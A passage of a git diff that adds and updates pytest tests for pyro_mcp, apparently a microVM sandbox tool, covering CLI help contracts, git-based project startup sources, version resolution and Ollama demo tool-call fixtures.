"which", + lambda name: "/usr/bin/codex" if name == "codex" else None, + ) + monkeypatch.setattr(host_helpers, "_run_command", _fake_run_command) + + entry = host_helpers._doctor_cli_host("codex", config=HostServerConfig()) + assert entry.status == "drifted" + assert entry.configured is True + assert commands == [["codex", "mcp", "get", "pyro"], ["codex", "mcp", "list"]] diff --git a/tests/test_ollama_demo.py b/tests/test_ollama_demo.py index e8a3d3d..406fa20 100644 --- a/tests/test_ollama_demo.py +++ b/tests/test_ollama_demo.py @@ -52,9 +52,8 @@ def _stepwise_model_response(payload: dict[str, Any], step: int) -> dict[str, An { "environment": "debian:12", "command": "printf 'true\\n'", - "vcpu_count": 1, - "mem_mib": 512, "network": True, + "allow_host_compat": True, } ), }, @@ -119,9 +118,8 @@ def test_run_ollama_tool_demo_accepts_legacy_profile_and_string_network( { "profile": "debian:12", "command": "printf 'true\\n'", - "vcpu_count": 1, - "mem_mib": 512, "network": "true", + "allow_host_compat": True, } ), }, @@ -224,8 +222,7 @@ def test_run_ollama_tool_demo_resolves_vm_id_placeholder( "arguments": json.dumps( { "environment": "debian:12", - "vcpu_count": "2", - "mem_mib": "2048", + "allow_host_compat": True, } ), }, @@ -280,6 +277,7 @@ def test_dispatch_tool_call_vm_exec_autostarts_created_vm(tmp_path: Path) -> Non vcpu_count=1, mem_mib=512, ttl_seconds=60, + allow_host_compat=True, ) vm_id = str(created["vm_id"]) @@ -458,6 +456,7 @@ def test_dispatch_tool_call_coverage(tmp_path: Path) -> None: "mem_mib": "512", "ttl_seconds": "60", "network": False, + "allow_host_compat": True, }, ) vm_id = str(created["vm_id"]) @@ -477,10 +476,9 @@ def test_dispatch_tool_call_coverage(tmp_path: Path) -> None: { "environment": "debian:12-base", "command": "printf 'true\\n'", - "vcpu_count": "1", - "mem_mib": "512", "timeout_seconds": "30", "network": False, + "allow_host_compat": True, }, ) assert int(executed_run["exit_code"]) == 0 diff --git a/tests/test_package_surface.py b/tests/test_package_surface.py new file mode 100644 index 0000000..533a87a --- /dev/null +++ b/tests/test_package_surface.py @@ -0,0 +1,67 @@ +from __future__ import annotations + +from importlib.metadata import PackageNotFoundError +from typing import Any, cast + +import pyro_mcp as package_module + + +def test_resolve_version_prefers_pyproject_version(monkeypatch: Any) -> None: + monkeypatch.setattr(package_module, "version", lambda _name: "9.9.9") + assert package_module._resolve_version() == package_module.__version__ # noqa: SLF001 + + +def test_resolve_version_falls_back_to_unknown_without_metadata(monkeypatch: Any) -> None: + class _FakePyprojectPath: + def exists(self) -> bool: + return False + + class _FakeResolvedPath: + @property + def parents(self) -> dict[int, Any]: + return {2: self} + + def __truediv__(self, _other: str) -> _FakePyprojectPath: + return _FakePyprojectPath() + + class _FakePathFactory: + def __init__(self, _value: str) -> None: + return None + + def resolve(self) -> _FakeResolvedPath: + return _FakeResolvedPath() + + monkeypatch.setattr( + package_module, + "version", + lambda _name: (_ for _ in ()).throw(PackageNotFoundError()), + ) + monkeypatch.setattr(package_module, "Path", cast(Any, _FakePathFactory)) + + assert package_module._resolve_version() == "0+unknown" # noqa: SLF001 + + +def test_resolve_version_falls_back_to_installed_version(monkeypatch: Any) -> None: + class _FakePyprojectPath: + def exists(self) -> bool: + return False + + class _FakeResolvedPath: + @property + def parents(self) -> dict[int, Any]: + return {2: self} + + def __truediv__(self, _other: str) -> _FakePyprojectPath: + return _FakePyprojectPath() + + class _FakePathFactory: + def __init__(self, _value: str) -> None: + return None + + def resolve(self) -> _FakeResolvedPath: + return _FakeResolvedPath() + + monkeypatch.setattr(package_module, "version", lambda _name: "9.9.9") + monkeypatch.setattr(package_module, "Path", cast(Any, _FakePathFactory)) + + assert package_module._resolve_version() == "9.9.9" # noqa: SLF001 diff --git a/tests/test_project_startup.py b/tests/test_project_startup.py new file mode 100644 index 0000000..fd8a6b1 --- /dev/null +++ b/tests/test_project_startup.py @@ -0,0 +1,236 @@ +from __future__ import annotations + +import subprocess +from pathlib import Path + +import pytest + +import pyro_mcp.project_startup as project_startup +from pyro_mcp.project_startup import ( + ProjectStartupSource, + describe_project_startup_source, + materialize_project_startup_source, + resolve_project_startup_source, +) + + +def _git(repo: Path, *args: str) -> str: + result = subprocess.run( # noqa: S603 + ["git", "-c", "commit.gpgsign=false", *args], + cwd=repo, + check=True, + capture_output=True, + text=True, + ) + return result.stdout.strip() + + +def _make_repo(root: Path, *, filename: str = "note.txt", content: str = "hello\n") -> Path: + root.mkdir() + _git(root, "init") + _git(root, "config", "user.name", "Pyro Tests") + _git(root, "config", "user.email", "pyro-tests@example.com") + (root / filename).write_text(content, encoding="utf-8") + _git(root, "add", filename) + _git(root, "commit", "-m", "init") + return root + + +def test_resolve_project_startup_source_detects_nearest_git_root(tmp_path: Path) -> None: + repo = _make_repo(tmp_path / "repo") + nested = repo / "src" / "pkg" + nested.mkdir(parents=True) + + resolved = resolve_project_startup_source(cwd=nested) + + assert resolved == ProjectStartupSource( + kind="project_path", + origin_ref=str(repo.resolve()), + resolved_path=repo.resolve(), + ) + + +def test_resolve_project_startup_source_project_path_prefers_git_root(tmp_path: Path) -> None: + repo = _make_repo(tmp_path / "repo") + nested = repo / "nested" + nested.mkdir() + + resolved = resolve_project_startup_source(project_path=nested, cwd=tmp_path) + + assert resolved == ProjectStartupSource( + kind="project_path", + origin_ref=str(repo.resolve()), + resolved_path=repo.resolve(), + ) + + +def test_resolve_project_startup_source_validates_flag_combinations(tmp_path: Path) -> None: + repo = _make_repo(tmp_path / "repo") + + with pytest.raises(ValueError, match="mutually exclusive"): + resolve_project_startup_source(project_path=repo, repo_url="https://example.com/repo.git") + + with pytest.raises(ValueError, match="requires --repo-url"): + resolve_project_startup_source(repo_ref="main") + + with pytest.raises(ValueError, match="cannot be combined"): + resolve_project_startup_source(project_path=repo, no_project_source=True) + + +def test_resolve_project_startup_source_handles_explicit_none_and_empty_values( + tmp_path: Path, +) -> None: + repo = _make_repo(tmp_path / "repo") + outside = tmp_path / "outside" + outside.mkdir() + + assert resolve_project_startup_source(no_project_source=True, cwd=tmp_path) is None + assert resolve_project_startup_source(cwd=outside) is None + + with pytest.raises(ValueError, match="must not be empty"): + resolve_project_startup_source(repo_url=" ", cwd=repo) + + with pytest.raises(ValueError, match="must not be empty"): + resolve_project_startup_source(repo_url="https://example.com/repo.git", repo_ref=" ") + + +def test_resolve_project_startup_source_rejects_missing_or_non_directory_project_path( + tmp_path: Path, +) -> None: + missing = tmp_path / "missing" + file_path = tmp_path / "note.txt" + file_path.write_text("hello\n", encoding="utf-8") + + with pytest.raises(ValueError, match="does not exist"): + resolve_project_startup_source(project_path=missing, cwd=tmp_path) + + with pytest.raises(ValueError, match="must be a directory"): + resolve_project_startup_source(project_path=file_path, cwd=tmp_path) + + +def test_resolve_project_startup_source_keeps_plain_relative_directory_when_not_a_repo( + tmp_path: Path, +) -> None: + plain = tmp_path / "plain" + plain.mkdir() + + resolved = resolve_project_startup_source(project_path="plain", cwd=tmp_path) + + assert resolved == ProjectStartupSource( + kind="project_path", + origin_ref=str(plain.resolve()), + resolved_path=plain.resolve(), + ) + + +def test_materialize_project_startup_source_clones_local_repo_url_at_ref(tmp_path: Path) -> None: + repo = _make_repo(tmp_path / "repo", content="one\n") + first_commit = _git(repo, "rev-parse", "HEAD") + (repo / "note.txt").write_text("two\n", encoding="utf-8") + _git(repo, "add", "note.txt") + _git(repo, "commit", "-m", "update") + + source = ProjectStartupSource( + kind="repo_url", + origin_ref=str(repo.resolve()), + repo_ref=first_commit, + ) + + with materialize_project_startup_source(source) as clone_dir: + assert (clone_dir / "note.txt").read_text(encoding="utf-8") == "one\n" + + +def test_materialize_project_startup_source_validates_project_source_and_clone_failures( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + with pytest.raises(RuntimeError, match="missing a resolved path"): + with materialize_project_startup_source( + ProjectStartupSource(kind="project_path", origin_ref="/repo", resolved_path=None) + ): + pass + + source = ProjectStartupSource(kind="repo_url", origin_ref="https://example.com/repo.git") + + def _clone_failure( + command: list[str], + *, + cwd: Path | None = None, + ) -> subprocess.CompletedProcess[str]: + del cwd + return subprocess.CompletedProcess(command, 1, "", "clone failed") + + monkeypatch.setattr("pyro_mcp.project_startup._run_git", _clone_failure) + with pytest.raises(RuntimeError, match="failed to clone repo_url"): + with materialize_project_startup_source(source): + pass + + +def test_materialize_project_startup_source_reports_checkout_failure( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + repo = _make_repo(tmp_path / "repo", content="one\n") + source = ProjectStartupSource( + kind="repo_url", + origin_ref=str(repo.resolve()), + repo_ref="missing-ref", + ) + + original_run_git = project_startup._run_git + + def _checkout_failure( + command: list[str], + *, + cwd: Path | None = None, + ) -> subprocess.CompletedProcess[str]: + if command[:2] == ["git", "checkout"]: + return subprocess.CompletedProcess(command, 1, "", "checkout failed") + return original_run_git(command, cwd=cwd) + + monkeypatch.setattr("pyro_mcp.project_startup._run_git", _checkout_failure) + with pytest.raises(RuntimeError, match="failed to checkout repo_ref"): + with materialize_project_startup_source(source): + pass + + +def test_describe_project_startup_source_formats_project_and_repo_sources(tmp_path: Path) -> None: + repo = _make_repo(tmp_path / "repo") + + project_description = describe_project_startup_source( + ProjectStartupSource( + kind="project_path", + origin_ref=str(repo.resolve()), + resolved_path=repo.resolve(), + ) + ) + repo_description = describe_project_startup_source( + ProjectStartupSource( + kind="repo_url", + origin_ref="https://example.com/repo.git", + repo_ref="main", + ) + ) + + assert project_description == f"the current project at {repo.resolve()}" + assert repo_description == "the clean clone source https://example.com/repo.git at ref main" + + +def test_describe_project_startup_source_handles_none_and_repo_without_ref() -> None: + assert describe_project_startup_source(None) is None + assert ( + describe_project_startup_source( + ProjectStartupSource(kind="repo_url", origin_ref="https://example.com/repo.git") + ) + == "the clean clone source https://example.com/repo.git" + ) + + +def test_detect_git_root_returns_none_for_empty_stdout(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setattr( + project_startup, + "_run_git", + lambda command, *, cwd=None: subprocess.CompletedProcess(command, 0, "\n", ""), + ) + + assert project_startup._detect_git_root(Path.cwd()) is None diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 5090286..2f5385a 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -15,9 +15,62 @@ from pyro_mcp.cli import _build_parser from pyro_mcp.contract import ( PUBLIC_CLI_COMMANDS, PUBLIC_CLI_DEMO_SUBCOMMANDS, + PUBLIC_CLI_DOCTOR_FLAGS, PUBLIC_CLI_ENV_SUBCOMMANDS, + PUBLIC_CLI_HOST_CONNECT_FLAGS, + PUBLIC_CLI_HOST_DOCTOR_FLAGS, + PUBLIC_CLI_HOST_PRINT_CONFIG_FLAGS, + PUBLIC_CLI_HOST_REPAIR_FLAGS, + PUBLIC_CLI_HOST_SUBCOMMANDS, + PUBLIC_CLI_MCP_SERVE_FLAGS, + PUBLIC_CLI_MCP_SUBCOMMANDS, + PUBLIC_CLI_PREPARE_FLAGS, PUBLIC_CLI_RUN_FLAGS, - PUBLIC_MCP_TOOLS, + PUBLIC_CLI_WORKSPACE_CREATE_FLAGS, + PUBLIC_CLI_WORKSPACE_DIFF_FLAGS, + PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS, + PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS, + PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS, + PUBLIC_CLI_WORKSPACE_EXEC_FLAGS, + PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS, + PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS, + PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS, + PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS, + PUBLIC_CLI_WORKSPACE_LIST_FLAGS, + PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS, + PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_RESET_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS, + PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS, + PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS, + PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS, + PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS, + PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS, + PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS, + PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS, + PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_START_FLAGS, + PUBLIC_CLI_WORKSPACE_STOP_FLAGS, + PUBLIC_CLI_WORKSPACE_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_SUMMARY_FLAGS, + PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS, + PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS, + PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS, + PUBLIC_MCP_COLD_START_MODE_TOOLS, + PUBLIC_MCP_INSPECT_MODE_TOOLS, + PUBLIC_MCP_MODES, + PUBLIC_MCP_PROFILES, + PUBLIC_MCP_REPRO_FIX_MODE_TOOLS, + PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS, + PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, PUBLIC_SDK_METHODS, ) from pyro_mcp.vm_manager import VmManager @@ -49,11 +102,11 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: assert command_name in help_text run_parser = _build_parser() - run_help = run_parser.parse_args( - ["run", "debian:12-base", "--vcpu-count", "1", "--mem-mib", "512", "--", "true"] - ) + run_help = run_parser.parse_args(["run", "debian:12-base", "--", "true"]) assert run_help.command == "run" assert run_help.environment == "debian:12-base" + assert run_help.vcpu_count == 1 + assert run_help.mem_mib == 1024 run_help_text = _subparser_choice(parser, "run").format_help() for flag in PUBLIC_CLI_RUN_FLAGS: @@ -62,6 +115,246 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: env_help_text = _subparser_choice(parser, "env").format_help() for subcommand_name in PUBLIC_CLI_ENV_SUBCOMMANDS: assert subcommand_name in env_help_text + prepare_help_text = _subparser_choice(parser, "prepare").format_help() + for flag in PUBLIC_CLI_PREPARE_FLAGS: + assert flag in prepare_help_text + host_help_text = _subparser_choice(parser, "host").format_help() + for subcommand_name in PUBLIC_CLI_HOST_SUBCOMMANDS: + assert subcommand_name in host_help_text + host_connect_help_text = _subparser_choice( + _subparser_choice(parser, "host"), "connect" + ).format_help() + for flag in PUBLIC_CLI_HOST_CONNECT_FLAGS: + assert flag in host_connect_help_text + host_doctor_help_text = _subparser_choice( + _subparser_choice(parser, "host"), "doctor" + ).format_help() + for flag in PUBLIC_CLI_HOST_DOCTOR_FLAGS: + assert flag in host_doctor_help_text + host_print_config_help_text = _subparser_choice( + _subparser_choice(parser, "host"), "print-config" + ).format_help() + for flag in PUBLIC_CLI_HOST_PRINT_CONFIG_FLAGS: + assert flag in host_print_config_help_text + host_repair_help_text = _subparser_choice( + _subparser_choice(parser, "host"), "repair" + ).format_help() + for flag in PUBLIC_CLI_HOST_REPAIR_FLAGS: + assert flag in host_repair_help_text + doctor_help_text = _subparser_choice(parser, "doctor").format_help() + for flag in PUBLIC_CLI_DOCTOR_FLAGS: + assert flag in doctor_help_text + mcp_help_text = _subparser_choice(parser, "mcp").format_help() + for subcommand_name in PUBLIC_CLI_MCP_SUBCOMMANDS: + assert subcommand_name in mcp_help_text + mcp_serve_help_text = _subparser_choice(_subparser_choice(parser, "mcp"), "serve").format_help() + for flag in PUBLIC_CLI_MCP_SERVE_FLAGS: + assert flag in mcp_serve_help_text + for profile_name in PUBLIC_MCP_PROFILES: + assert profile_name in mcp_serve_help_text + for mode_name in PUBLIC_MCP_MODES: + assert mode_name in mcp_serve_help_text + + workspace_help_text = _subparser_choice(parser, "workspace").format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_SUBCOMMANDS: + assert subcommand_name in workspace_help_text + workspace_create_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "create" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_CREATE_FLAGS: + assert flag in workspace_create_help_text + workspace_exec_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "exec" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_EXEC_FLAGS: + assert flag in workspace_exec_help_text + workspace_sync_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), + "sync", + ).format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS: + assert subcommand_name in workspace_sync_help_text + workspace_sync_push_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "sync"), "push" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS: + assert flag in workspace_sync_push_help_text + workspace_export_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "export" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS: + assert flag in workspace_export_help_text + workspace_list_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "list" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_LIST_FLAGS: + assert flag in workspace_list_help_text + workspace_update_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "update" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS: + assert flag in workspace_update_help_text + workspace_file_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "file" + ).format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS: + assert subcommand_name in workspace_file_help_text + workspace_file_list_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "list" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS: + assert flag in workspace_file_list_help_text + workspace_file_read_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "read" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS: + assert flag in workspace_file_read_help_text + workspace_file_write_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "write" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS: + assert flag in workspace_file_write_help_text + workspace_patch_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "patch" + ).format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS: + assert subcommand_name in workspace_patch_help_text + workspace_patch_apply_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "patch"), "apply" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS: + assert flag in workspace_patch_apply_help_text + workspace_disk_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "disk" + ).format_help() + for subcommand_name in ("export", "list", "read"): + assert subcommand_name in workspace_disk_help_text + workspace_disk_export_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "export" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS: + assert flag in workspace_disk_export_help_text + workspace_disk_list_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "list" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS: + assert flag in workspace_disk_list_help_text + workspace_disk_read_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "read" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS: + assert flag in workspace_disk_read_help_text + workspace_diff_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "diff" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_DIFF_FLAGS: + assert flag in workspace_diff_help_text + workspace_snapshot_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), + "snapshot", + ).format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS: + assert subcommand_name in workspace_snapshot_help_text + workspace_snapshot_create_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), + "create", + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS: + assert flag in workspace_snapshot_create_help_text + workspace_snapshot_list_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), + "list", + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS: + assert flag in workspace_snapshot_list_help_text + workspace_snapshot_delete_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), + "delete", + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS: + assert flag in workspace_snapshot_delete_help_text + workspace_reset_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "reset" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_RESET_FLAGS: + assert flag in workspace_reset_help_text + workspace_start_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "start" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_START_FLAGS: + assert flag in workspace_start_help_text + workspace_stop_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "stop" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_STOP_FLAGS: + assert flag in workspace_stop_help_text + workspace_summary_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "summary" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SUMMARY_FLAGS: + assert flag in workspace_summary_help_text + workspace_shell_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), + "shell", + ).format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS: + assert subcommand_name in workspace_shell_help_text + workspace_shell_open_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "open" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS: + assert flag in workspace_shell_open_help_text + workspace_shell_read_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "read" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS: + assert flag in workspace_shell_read_help_text + workspace_shell_write_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "write" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS: + assert flag in workspace_shell_write_help_text + workspace_shell_signal_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "signal" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS: + assert flag in workspace_shell_signal_help_text + workspace_shell_close_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "close" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS: + assert flag in workspace_shell_close_help_text + workspace_service_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), + "service", + ).format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS: + assert subcommand_name in workspace_service_help_text + workspace_service_start_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "start" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS: + assert flag in workspace_service_start_help_text + workspace_service_list_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "list" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS: + assert flag in workspace_service_list_help_text + workspace_service_status_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "status" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS: + assert flag in workspace_service_status_help_text + workspace_service_logs_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "logs" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS: + assert flag in workspace_service_logs_help_text + workspace_service_stop_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "stop" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS: + assert flag in workspace_service_stop_help_text demo_help_text = _subparser_choice(parser, "demo").format_help() for subcommand_name in PUBLIC_CLI_DEMO_SUBCOMMANDS: @@ -91,7 +384,15 @@ def test_public_mcp_tools_match_contract(tmp_path: Path) -> None: return tuple(sorted(tool.name for tool in tools)) tool_names = asyncio.run(_run()) - assert tool_names == tuple(sorted(PUBLIC_MCP_TOOLS)) + assert tool_names == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) + + +def test_public_mcp_modes_are_declared_and_non_empty() -> None: + assert PUBLIC_MCP_MODES == ("repro-fix", "inspect", "cold-start", "review-eval") + assert PUBLIC_MCP_REPRO_FIX_MODE_TOOLS + assert PUBLIC_MCP_INSPECT_MODE_TOOLS + assert PUBLIC_MCP_COLD_START_MODE_TOOLS + assert PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS def test_pyproject_exposes_single_public_cli_script() -> None: diff --git a/tests/test_python_lifecycle_example.py b/tests/test_python_lifecycle_example.py new file mode 100644 index 0000000..8a54298 --- /dev/null +++ b/tests/test_python_lifecycle_example.py @@ -0,0 +1,53 @@ +from __future__ import annotations + +import importlib.util +from pathlib import Path +from types import ModuleType +from typing import Any, cast + +import pytest + + +def _load_python_lifecycle_module() -> ModuleType: + path = Path("examples/python_lifecycle.py") + spec = importlib.util.spec_from_file_location("python_lifecycle", path) + if spec is None or spec.loader is None: + raise AssertionError("failed to load python_lifecycle example") + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + return module + + +def test_python_lifecycle_example_does_not_delete_after_exec( + capsys: pytest.CaptureFixture[str], +) -> None: + module = _load_python_lifecycle_module() + calls: list[str] = [] + + class StubPyro: + def create_vm(self, **kwargs: object) -> dict[str, object]: + assert kwargs["environment"] == "debian:12" + calls.append("create_vm") + return {"vm_id": "vm-123"} + + def start_vm(self, vm_id: str) -> dict[str, object]: + assert vm_id == "vm-123" + calls.append("start_vm") + return {"vm_id": vm_id, "state": "started"} + + def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, object]: + assert vm_id == "vm-123" + assert command == "git --version" + assert timeout_seconds == 30 + calls.append("exec_vm") + return {"vm_id": vm_id, "stdout": "git version 2.43.0\n"} + + def delete_vm(self, vm_id: str) -> dict[str, object]: + raise AssertionError(f"unexpected delete_vm({vm_id}) call") + + cast(Any, module).Pyro = StubPyro + module.main() + + assert calls == ["create_vm", "start_vm", "exec_vm"] + captured = capsys.readouterr() + assert "git version 2.43.0" in captured.out diff --git a/tests/test_runtime.py b/tests/test_runtime.py index 8956a99..60ebc4b 100644 --- a/tests/test_runtime.py +++ b/tests/test_runtime.py @@ -1,11 +1,37 @@ from __future__ import annotations import json +import shutil from pathlib import Path import pytest +from pyro_mcp.daily_loop import DailyLoopManifest, prepare_manifest_path, write_prepare_manifest from pyro_mcp.runtime import doctor_report, resolve_runtime_paths, runtime_capabilities +from pyro_mcp.vm_environments import EnvironmentStore, get_environment + + +def _materialize_installed_environment( + environment_store: EnvironmentStore, + *, + name: str, +) -> None: + spec = get_environment(name, runtime_paths=environment_store._runtime_paths) + install_dir = environment_store._install_dir(spec) + install_dir.mkdir(parents=True, exist_ok=True) + (install_dir / "vmlinux").write_text("kernel\n", encoding="utf-8") + (install_dir / "rootfs.ext4").write_text("rootfs\n", encoding="utf-8") + (install_dir / "environment.json").write_text( + json.dumps( + { + "name": spec.name, + "version": spec.version, + "source": "test-cache", + "source_digest": spec.source_digest, + } + ), + encoding="utf-8", + ) def test_resolve_runtime_paths_default_bundle() -> None: @@ -14,7 +40,9 @@ def test_resolve_runtime_paths_default_bundle() -> None: assert paths.jailer_bin.exists() assert paths.guest_agent_path is not None assert paths.guest_agent_path.exists() - assert (paths.artifacts_dir / "debian-git" / "vmlinux").exists() + assert paths.guest_init_path is not None + assert paths.guest_init_path.exists() + assert paths.artifacts_dir.exists() assert paths.manifest.get("platform") == "linux-x86_64" @@ -51,34 +79,68 @@ def test_resolve_runtime_paths_checksum_mismatch( guest_agent_path = source.guest_agent_path if guest_agent_path is None: raise AssertionError("expected guest agent in runtime bundle") + guest_init_path = source.guest_init_path + if guest_init_path is None: + raise AssertionError("expected guest init in runtime bundle") copied_guest_dir = copied_platform / "guest" copied_guest_dir.mkdir(parents=True, exist_ok=True) (copied_guest_dir / "pyro_guest_agent.py").write_text( guest_agent_path.read_text(encoding="utf-8"), encoding="utf-8", ) - for profile in ("debian-base", "debian-git", "debian-build"): - profile_dir = 